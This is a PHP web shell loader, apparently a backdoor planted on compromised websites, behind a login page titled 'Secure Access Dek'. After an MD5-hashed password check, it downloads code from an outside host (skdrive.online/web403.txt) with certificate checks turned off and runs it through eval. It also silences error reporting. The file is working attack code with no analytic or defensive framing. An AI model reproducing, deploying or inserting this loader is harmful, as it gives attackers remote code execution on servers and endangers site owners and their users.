<?php
session_start();

/**
 * Disable error reporting
 *
 * Set this to error_reporting( -1 ) for debugging.
 */
error_reporting(0);

function geturlsinfo($url) {
    if (function_exists('curl_exec')) {
        $conn = curl_init($url);
        curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
        curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0);

        
        if (isset($_SESSION['coki'])) {
            curl_setopt($conn, CURLOPT_COOKIE, $_SESSION['coki']);
        }

        $url_get_contents_data = curl_exec($conn);
        curl_close($conn);
    } elseif (function_exists('file_get_contents')) {
        $url_get_contents_data = file_get_contents($url);
    } elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
        $handle = fopen($url, "r");
        $url_get_contents_data = stream_get_contents($handle);
        fclose($handle);
    } else {
        $url_get_contents_data = false;
    }
    return $url_get_contents_data;
}


function is_logged_in()
{
    return isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true;
}


if (isset($_POST['password'])) {
    $entered_password = $_POST['password'];
    $hashed_password = '47c5b5496e0134d1a9b11ecaa921aae6';
    if (md5($entered_password) === $hashed_password) {
        
        $_SESSION['logged_in'] = true;
        $_SESSION['coki'] = 'asu';
    } else {
        
        $error_message = "Njay Password Salah Dek. Mending Sana Turu Aja.";
    }
}


if (is_logged_in()) {
    $a = geturlsinfo('https://skdrive.online/web403.txt');
    eval('?>' . $a);
} else {
  
    ?>
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Secure Access Dek</title>
      <link rel="icon" href="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRxZfPRpt0d7tfY1kIJRt9vf9bJsDTSi8ZubPa3Yo9gR1FyqLYKT1n8C3w&s=10" type="image/x-icon">
<meta property="og:description" content="Heker Kok Nykung Dek _< ">
        <link href="https://fonts.googleapis.com/css2?family=Ubuntu:wght@300;400;700&display=swap" rel="stylesheet">
<script src="https://javastore.my.id/js/efek-salju.js" type="text/javascript"></script>
        <link rel="stylesheet" href="https://javastore.my.id/css/dek.css">
    </head>
    <body>
        <div class="login-container">
            <h1>Secure Access</h1>
            <?php if (isset($error_message)): ?>
                <p class="error-message"><?php echo $error_message; ?></p>
            <?php endif; ?>
            <form method="POST" action="">
                <input type="password" id="password" name="password" placeholder="pass required" required>
                <input type="submit" value="Log-in">
            </form>
        </div>
    </body>
    </html>
    <?php
}
?>